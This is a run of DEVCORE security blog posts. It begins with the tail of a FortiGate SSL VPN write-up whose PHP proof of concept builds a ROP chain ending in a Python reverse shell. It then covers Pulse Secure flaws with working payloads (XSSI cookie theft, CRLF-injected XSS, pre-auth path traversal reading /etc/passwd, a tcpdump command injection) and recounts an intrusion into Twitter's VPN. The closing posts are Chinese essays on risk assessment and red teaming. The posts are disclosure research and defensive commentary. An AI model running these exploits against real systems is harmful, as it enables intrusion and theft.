    <?phpfunctionp64($address){$low=$address&0xffffffff;$high=$address>>32&0xffffffff;returnpack("II",$low,$high);}$junk=0x4141414141414141;$nop_func=0x32FC078;$gadget=p64($junk);$gadget.=p64($nop_func-0x60);$gadget.=p64($junk);$gadget.=p64(0x110FA1A);// # start here # pop r13 ; pop r14 ; pop rbp ; ret ;$gadget.=p64($junk);$gadget.=p64($junk);$gadget.=p64(0x110fa15);// push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;$gadget.=p64(0x1bed1f6);// pop rax ; ret ;$gadget.=p64(0x58);$gadget.=p64(0x04410f6);// add rdi, rax ; mov eax, dword [rdi] ; ret  ;$gadget.=p64(0x1366639);// call system ;$gadget.="python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";$p=str_repeat('AAAAAAAA',1024+512-4);// offset$p.=$gadget;$p.=str_repeat('A',0x1000-strlen($gadget));$p.=$gadget;?><ahref="javascript:void(0);<?=$p;?>">xxx</a>

    The PoC can be divided into three parts.

    1. Fake SSL structure
      The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:

       push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      

      So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.

    2. ROP chain
      The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
    3. Overflow string
      Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.

    Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.

Demo

Timeline

  • 11 December, 2018 Reported to Fortinet
  • 19 March, 2019 All fix scheduled
  • 24 May, 2019 All advisory released

Fix

Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.

Pulse Secure SSL VPN 資安通報

$
0
0

內容

在我們對 Pulse Secure SSL VPN 的安全研究中,共發現了下列七個弱點。組合利用有機會取得 SSL VPN 設備的最高權限,可讓攻擊者進入用戶內網,甚至控制每個透過 SSL VPN 連線的使用者裝置。

  • CVE-2019-11507: Cross-Site Scripting
  • CVE-2019-11508: Post-auth Unrestricted File Upload
  • CVE-2019-11510: Pre-auth Arbitrary File Reading
  • CVE-2019-11538: Post-auth(user) Arbitrary File Reading
  • CVE-2019-11539: Post-auth(admin) Command Injection
  • CVE-2019-11540: Session Hijacking
  • CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

受影響的版本如下:

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

目前已經出現攻擊者對全世界設備進行大規模掃描,請 Pulse Secure SSL VPN 用戶儘速更新,需要更新的版本資源可參考原廠 Pulse Secure 的公告

細節

我們將在近日公布技術細節

附註

目前亦發現攻擊者對我們之前發表的 Fortigate SSL VPNPalo Alto GlobalProtect弱點進行大規模掃描,再次提醒請用戶儘速更新以上 SSL VPN 設備至最新版。

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

$
0
0

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:

After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.

We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!

Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1][2][3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?

We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.

On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!

About Pulse Secure

Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.

We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…

Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.

We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!

It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!

Vulnerabilities

We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

Affected versions

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540: Cross-Site Script Inclusion

The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!

Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!

PoC:

<!-- http://attacker/malicious.html --><script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script><script>window.onload=function(){window.document.writeln=function(msg){if(msg.indexOf("DSID")>=0)alert(msg)}ReplaceContent()}</script>

CVE-2019-11507: Cross-Site Scripting

There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.

PoC:

https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>

CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS

The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.

If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!

CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS

This one is a little bit similar to the previous one, but with a different attack vector!

When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!

CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

There is a stack-based buffer overflow in the following Perl module implementations:

  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions

These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.

https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0

And you can observed the segment fault from dmesg

cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510: Pre-auth Arbitrary File Reading

Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.

In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!

And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.

Due to the exploit is in the wild, there is no longer any concern to show the payload:

importrequestsr=requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')printr.content

CVE-2019-11539: Post-auth(admin) Command Injection

The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.

However, we did it, and we exploit it in a very smart way :)

The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:

# ...$options=tcpdump_options_syntax_check(CGI::param("options"));# ...sub tcpdump_options_syntax_check{my$options=shift;return$optionsifsystem("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1")==0;returnundef;}

It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!

In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick

This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.

From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:

[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(

While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.

As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.

We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:

tcpdump: [filename]: No such file or directory

It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!

$ tcpdump -d-r'print 123#'
  tcpdump: print 123#: No such file or directory
 
$ tcpdump -d-r'print 123#' 2>&1 | perl –
  123

The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!

As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!

Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:

-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

The concatenated command looks like:

/usr/sbin/tcpdump -d-r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 
 >/dev/null
 2>&1

And the generated setcookie.thtml.ttc looks like:

tcpdump:$x="ls /",system$x#: No such file or directory

Once we have done this, we can just fetch the corresponding page to execute our command:

$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 
 ...

So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!

The Case Study

After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.

We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P

We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!

So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.

Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!

Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!

As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.

Yes, it’s SSRF!

Here we use a small trick to bypass the SSRF protections.

Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…

If you are experienced in cracking hashes, you will know how hard it is. So…










We launched a 72 core AWS to crack that.

We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.

We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.

Recommendations

How to mitigate such attacks? Here we give several recommendations.

The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.

Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!

Bonus: Take over all the VPN clients

Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!

We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.

During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.

Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:

Epilogue

OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!

Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)

以攻擊者的角度制定防禦策略

$
0
0

前言

這篇文章源自於公司今年第一次試辦的研討會 DEVCORE Conference 2019,我們決定另外寫成 blog 分享出來,讓無法參加的朋友也可以從不同角度重新思考防禦策略。

會想在純技術導向的研討會中加入策略面的議題,其實跟今年研討會的主軸「從策略擬定控制,從控制反映意識」有關。如果企業缺乏長遠正確的資安策略,除了投入的資源無法達到企業預期的效益、一線資安人員疲於奔命外,管理階層在資訊不對稱的情況下認為投入的資源已經足夠安全,最終形成惡性循環,只能在每次資安事故後跟著時下流行選擇最夯資安的產品。

理想中的防禦策略

而最廣為人知的防禦策略可能是縱深防禦,以不同類型的控制措施 (設備、制度、服務) 減少敵人入侵的可能性、儘量減少單一控制措施失效造成的風險。然而,這個概念有幾個需要思考的重點

  • 防護邊界遠大於企業的想像:導致無法掌握企業可能的入侵點。
  • 對資安設備認知錯誤:這讓敵人可以繞過資安設備,或是設備沒有發揮企業預期的效用。
  • 管理程序不夠落實:導致控制措施產生新的漏洞,譬如預設密碼沒有更改,導致 VPN 或網路設備可以直接被存取。
  • 忽視重要資產相關性:只將防禦資源投注在重要資產本身,而輕忽與其相連的資產。

這一連串的疏忽,可能成為攻擊者入侵的路徑,就是所謂的瑞士起司模型 (Swiss Cheese Model),因此企業期望透過風險評鑑 (Risk Assessment) 來盤點出可能的疏失,並且在權衡資源下,確保將重心放在高風險需要優先處理的項目。

但我們想聊聊這個工具在實務上有它難以完善之處,以及從攻擊者的角度是怎樣看待這個擬訂防禦策略核心工具,我們會針對一下議題依序說明

  • 真實風險其實複雜的難以評估
  • 現行風險評鑑方式可能的偏差
  • 從攻擊者的角度改善風險評鑑
  • 挑選適合的方法改善風險評鑑

真實的風險其實複雜的難以評鑑

在這裡我們引述 ITGovernance 對於風險評鑑的定義:

Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to ensure that the cyber security controls you choose are appropriate to the risks your organization faces.

風險評鑑的精髓在於後半段的確保所選擇的控制措施是否適切於企業真正面臨的風險,但多數的企業只完成前半段識別、分析及評估風險,導致風險評鑑的成效無法完全發揮;而要達到風險評鑑的精髓,得先了解真實的風險的組成的要素

真實風險 = { 威脅來源、意圖、威脅、弱點、機率、相依性、資產價值、控制措施 }
  • 威脅來源(Threat Agent):造成威脅或使用弱點的來源個體,例如:組織型犯罪、駭客組織、國家資助犯罪、競爭對手、駭客、內部員工或天災等。
  • 意圖(Intent):威脅來源的想達到的目的,例如:取得個人資料、盜取商業機密、破壞企業/個人形象、造成財物損失等。
  • 威脅(Threat):達成意圖的方式,例如:惡意程式、社交工程、DDoS、利用系統漏洞等。
  • 弱點(Vulnerability):指資產能被威脅利用的弱點,例如:漏洞未更新、人員疏忽、組態設定不當、網路區隔配置錯誤等。
  • 機率(Probability):指弱點的易用度或可能發生的機率,例如:CVSS 3.0分數、過去對於某個弱點發生頻率的統計等。
  • 相依性(Correlation):資產彼此間的關聯,例如:網路拓樸、虛擬化的關係、集中派版系統、防毒中控主機等。
  • 資產價值(Value):企業認定該資產在 C、I、A 及法律衝擊下,所具有的價值,例如:核心系統及資料、一般操作資料、實體設備等。
  • 控制措施(Countermeasure):用來降低企業面臨風險的措施,例如:資安設備、管理制度、教育訓練等。

然而,多數企業在評估企業風險時,為求方便,會將風險評鑑的參數簡化成 {弱點、機率、資產價值},忽略了與敵人相關的參數 {威脅來源、意圖、威脅、戰略價值};接下來的兩個例子將說明忽略後造成風險評鑑的偏差,包含了資產價值的輕忽輕忽漏洞利用的可能性

現實風險評鑑可能的偏差

敵人在意的是戰略價值而不僅是資產價值

透過風險評鑑可以識別出資產可能面臨的風險,並且作為預算或資源投入優先順序的參考,一般可以分為 3 個優先等級:

  1. 優先處理「高衝擊、高機率」 (項次 1、項次 2) 的風險:通常是超出企業可接受風險的威脅,藉由控制措施將風險下降到可接受的程度,這部分通常是企業資源優先或持續投入的重點。
  2. 次之是「高衝擊、低機率 」(項次 3、項次 4)的風險:此等級是屬於需要持續關注避免升高的風險,如果企業預算仍有餘裕,應該投入的第二個等級。
  3. 最後是「低衝擊、低機率 」(項次 5、項次 6)的風險:看起來對企業不會有立即危害,一般不需特別關注或投入資源。
項次資產名稱價值威脅弱點衝擊機率風險
1交易資料3蓄意破壞建築物管制不足3327
2用戶個資3勒贖軟體加密無法上 patch3327
3轉帳系統3軟體失效遭到 DDoS 攻擊3218
4核心系統3軟體失效維護服務時間過長319
5版本更新系統3未經授權存取橫向移動216
6內部差勤系統1系統入侵無法上 patch122

然而,對敵人而言,選擇欲攻下的灘頭堡時,看重的是資產的戰略價值,而與資產本身的價值沒有必然的關係,如上表項次 6 的內部差勤系統如果是能串接到敵人主要的標的,對他來說就是一個必定會設法取得控制權的資產,而這時可以發現經由簡化版的風險評鑑並不容易呈現這個資產所面臨的風險。

低估弱點可利用機率

防守方在使用分險評鑑時,另一個問題是無法準確的估計弱點的可利用機率,雖然市面上已經有許多弱點管理軟體可以協助,但面對真實攻擊時,敵人不會只利用已知的漏洞或是 OWASP TOP10,甚至自行研發 0-day。因此,當企業已經進行一定程度的防護措施後,如果不曾經歷資安事故或缺乏正確的認知,往往認為應該不會有這麼厲害的駭客可以突破既有的防護措施,但從歷來的資安事故及我們服務的經驗告訴我們,其實電影裡面演的都是真的!!

從攻擊者的角度改善風險評鑑

很多人以為攻擊者的角度指的是漏洞挖掘,其實並不全然。攻擊者對於想竊取的資產,也是經過縝密的規劃及反~覆~觀~察~,他們一樣有策略、技法跟工具。而 MITRE ATT&CK就是一個對於已知攻擊策略及技巧具備完整定義及收集的框架,它可以用來協助建立威脅情資 (Threat Intelligence)、改善防守方的偵測及分析、強化模擬敵人及紅隊演練等,相關的使用方式都在其官網上可以找到,細節我們不在這邊介紹。

我們可以將已經發生的資安事故 (Incident) 或紅隊演練對應到 ATT&CK Enterprise Framework 中,並且評估目前所建置的控制措施是否可以減緩、阻擋或偵測這些技巧。以下圖為例,淺綠色方塊是紅隊演練所採用的技巧、紅色方塊則是資安事故使用的技巧,企業可以同時比對多個資安事故或是紅隊演練的結果,找出交集的淺黃色區塊,即是企業可以優先強化的控制措施或是預算應該投入之處。

這邊有個需要特別注意的地方,ATT&CK Enterprise Framework 作為一個驗證防守方控制措施的有效性是一個非常好的框架,然而不建議利用這個框架的特定技巧作為限制紅隊演練的情境,要記得「當使用 ATT&CK 時要注意有其偏差,這可能會將已知的攻擊行為優先於未知的攻擊行為」,正如同紅隊演練的精神,是透過無所不用其極的方式找到可以成功的入侵方式,因此我們會建議給予紅隊演練團隊最自由的發揮空間,才能真正找出企業可能的盲點。

Remember any ATT&CK-mapped data has biases:You’re prioritizing known adversary behavior over the unknown.
- Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation

挑選適合的方法改善防禦策略

那麼在我們了解敵人會使用的策略、技巧之後,企業要如何挑選改善防禦策略的方法?理想上,我們建議如果預算許可,這類型的企業至少應該執行一次高強度的紅隊演練,來全面性的盤點企業面臨的威脅,但現實上並非每個企業都有足夠的預算。因此,在不同的條件下,可以使用不同的方法來改善防禦策略,我們建議可以從以下幾個因素進行評估:

  • 時間:執行這個方法所需要的時間。
  • 成本:利用這個方法需要付出的成本 (包含金錢、名聲)。
  • 真實性:所採用的方法是否能真實反映現實的威脅。
  • 範圍:所採用的方法能涵蓋範圍是否足以代表企業整體狀況。

這邊我們以風險評鑑、弱點掃描、滲透測試、模擬攻擊、紅隊演練及資安事件作為改善防禦策略的方法,而分別就上述六個項目給予相對的分數,並且依照真實性、範圍、成本及時間作為排序的優先序(順序依企業的狀況有所不同)。而我們會這樣排序的原因是:一個好的方法應該要與真實世界的攻擊相仿而且在整個過程上足以發現企業整體資安的狀況,最後才是考慮所花費的成本及時間。

方法真實性範圍成本時間
資安事件5455
紅隊演練5445
模擬攻擊3523
滲透測試3333
弱點掃描2512
風險評鑑1411

到這裡,除了資安事件外,大致可以決定要用來協助評估防禦策略所應該選擇的方法。更重要的是在使用這些方法後,要將結果反饋回風險評鑑中,因為相較於其他方法風險評鑑是一個最簡單且廣泛的方法,這有助於企業持續將資源投注在重大的風險上。

案例

最後,我們以一個紅隊演練案例中所發現控制措施的疏漏,來改善企業的風險評鑑方式。同時,我們將入侵的成果對應至 ISO27001:2013 的本文要求及控制項目,這些項目可以視為以攻擊者的角度稽核企業的管理制度,更能反映制度的落實情形。

項目發現本文/附錄
1核心系統盤點未完整本文 4.3 決定 ISMS 範圍
2監控範圍不足本文 4.2 關注方之需要與期望
3不同系統使用相同帳號密碼附錄 A.9.4.3 通行碼管理系統
4管理帳號存在密碼規則附錄 A.9.4.3 通行碼管理系統
5AD 重大漏洞未修補附錄 A.12.6.1 技術脆弱性管理
6未限制來源 IP附錄 A.9.4.1 系統存取限制
7次要網站防護不足附錄 A.14.1.1 資訊安全要求事項分析及規格
8VPN 網段存取內部系統附錄 A.13.1.3 網路區隔

另外,從演練的結果可以發現下表項次 1 及項次 2 的機率都被證實會發生且位於入侵核心資產的路徑上,因此衝擊及機率均應該由原本的 2 提升為 3,這導致項次 1 的風險值超過了企業原本設定的可接受風險 (27);另外,儘管在演練結果中清楚的知道項次 2 的內部差勤系統是必然可以成功入侵且間接控制核心資產的系統,其風險值仍遠低於企業會進行處理的風險,這正是我們前面所提到低估戰略價值的問題,因此我們會建議,在紅隊演練路徑上可以獲得核心資產的風險項目,都應該視為不可接受風險來進行處理

項次資產名稱價值威脅弱點衝擊機率風險
1版本更新系統3未經授權存取橫向移動3327
2內部差勤系統1系統入侵無法上 patch339

最後,引用 Shaolin在研討會上的結語

紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下。

希望各位都能找到可以持續改善防禦策略的方法,讓企業的環境更加安全。

DEVCORE 紅隊的進化,與下一步

$
0
0

前言

「紅隊演練」近年來漸漸開始被大家提及,也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享,身為第一個在台灣推紅隊演練的公司,我想就根據這兩年多來的實戰經驗,分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題,期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。

這一篇是我在 DEVCORE Conference 2019所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊,還有運作方式和案例,所以我抽出一些素材整理成這場演講。下面是投影片連結,其中有些內部系統畫面不對外公開,僅在研討會分享敬請見諒。

DEVCORE 紅隊的進化,與下一步 - Shaolin (DEVCORE CONF 2019)

為什麼要紅隊演練?

一言以蔽之,就是我們漸漸體會到:對大企業而言,單純的滲透測試並不是最有效益的。從過去上百次滲透測試經驗中,我們往往能在專案初期的偵查階段,發現企業邊界存在嚴重弱點,進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業,這種狀況會越明顯,因為他們通常有很多對外的網站、網路設備,每一個都可能是風險,即使主要網站防護很完備,駭客只需要從這麼多目標中找到一個問題,就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試,在真實世界中,還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試,結果還是發生資安事件。

於是,我們推出了紅隊演練,希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此,這個服務關注的是企業整體的安全性,而不再只是單一的網站。

